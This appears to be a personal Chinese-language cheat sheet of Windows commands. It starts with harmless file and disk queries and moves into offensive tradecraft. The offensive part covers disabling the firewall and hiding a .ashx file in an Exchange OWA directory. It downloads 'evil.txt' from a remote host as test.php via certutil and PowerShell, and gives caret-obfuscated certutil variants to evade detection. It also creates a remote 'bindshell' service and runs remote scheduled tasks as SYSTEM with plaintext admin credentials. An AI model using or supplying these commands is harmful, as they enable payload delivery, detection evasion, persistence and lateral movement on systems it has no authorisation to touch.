Windows笔记本
基本命令使用
bat脚本替换文件内容:
挖草,记得啥东西也记不得了。
for /f %i in (1.txt) do (set STR=%i & set RESULT=%STR:\=-% & set RESULT=%STR::=oo% echo %RESULT%)
bat中按行读取文件内容:
@echo off
for /f "delims=" %%i in (test.txt) do (
echo %%i
) pause
# 一行
for /f "delims=" %i in (1.txt) do echo %i
一些文件操作的命令:
# 在c盘下查找title_logo.png文件所在的绝对路径,其他盘同理。
dir c:\title_logo.png /b /s
# 统计文件个数
dir /b /a-d | find /v /c ""
# 统计py文件的数量
dir /s /b | find /c "py"
# 统计文件夹大小和文件个数
powershell -noprofile -command "ls -r | measure -s Length"
# 查找包含指定字符串的文件
findstr.exe /s /i "password" *.*
# 隐藏指定文件
attrib +s +h "E:\mail\test\HttpProxy\owa\auth\test.ashx"
# 取消隐藏文件
attrib -s -h "E:\mail\test\HttpProxy\owa\auth\test.ashx"
# 查看文件前xx行
powershell Get-Content -TotalCount 12 test.csv
# windows 筛选出对应格式文件
cmd.exe /c "for /f %i in ('dir /s/b c:\inetpub\wwwroot\*.png') do (echo %i >> a.txt)"
windows命令行查看盘符信息:
# 查询磁盘还剩多少空间:
wmic LogicalDisk where "Caption='C:'" get FreeSpace,Size /value
wmic logicaldisk get name,size,freespace
# 查询有哪些盘
wmic LogicalDisk get caption
防火墙操作
关闭防火墙命令:
netsh firewall set opmode mode=disable
netsh advfirewall set allprofiles state off
开放指定端口命令:
netsh firewall add portopening protocol=TCP port=47003 name=iis_in # 新建规则
netsh advfirewall firewall add rule name=iis_in dir=in protocol=tcp localport=47003 action=allow # 规则放行
netsh advfirewall firewall add rule name=iis_in" dir=in protocol=tcp localport=47003 # 删除规则
远程下载笔记
平时用得比较多的远程下载命令。
# powershell,方式1
powershell (new-object System.Net.WebClient).DownloadFile('http://1.2.3.4/app/ww.txt','aws.png')
# powershell,方式2
powershell.exe (Invoke-WebRequest -Uri "http://1.2.3.4/1.txt" -OutFile "C:\temp\1.txt")
# certutil方式
certutil -urlcache -split -f http://1.2.3.4/imag/evil.txt test.php
有时候仅需要测试出不出网,去掉-split参数即可。
# certutil的一些变种防抓,个人觉得并无太大作用。其他命令也可按照该方式混淆。
certutil.exe -U^R""""L""""C^a""""c""""h^e -s^p""""l""""i^t -f http://1.2.3.4/5.txt
cer^tut^il -u^rlc^ache -f http://1.2.3.4/5.txt
who^ami
计划任务记录
通过创建计划任务的方式实现远程命令的执行,某些特殊条件下可以使用该方式,如知道管理员账号密码,但是想在目标系统以system用户权限执行程序时,可以通过计划任务方式实现。
# 顺带记录一下服务的笔记,但是从未测试成功过。
# 示例:
sc \\[主机名/IP] create [servicename] binpath= "[path]"
# 创建服务并绑定bind.exe程序
sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe"
# 运行指定名称的服务
sc \\WIN-ENS2VR5TR3N start bindshell
# 删除指定的服务
sc \\[host] delete [servicename] #删除服务
# 创建计划任务
schtasks /Create /S 192.168.200.101 /U "test\administrator" /P "Admin.123" /tn test123 /sc DAILY /mo 1 /tr "cmd.exe /c whoami >> c:\aaa.txt" /ru system
# 运行计划任务
schtasks /Run /S 192.168.200.101 /U "test\administrator" /P "Admin.123" /tn test123
# 删除计划任务
schtasks /Delete /S 192.168.200.101 /U "test\administrator" /P "Admin.123" /tn test /f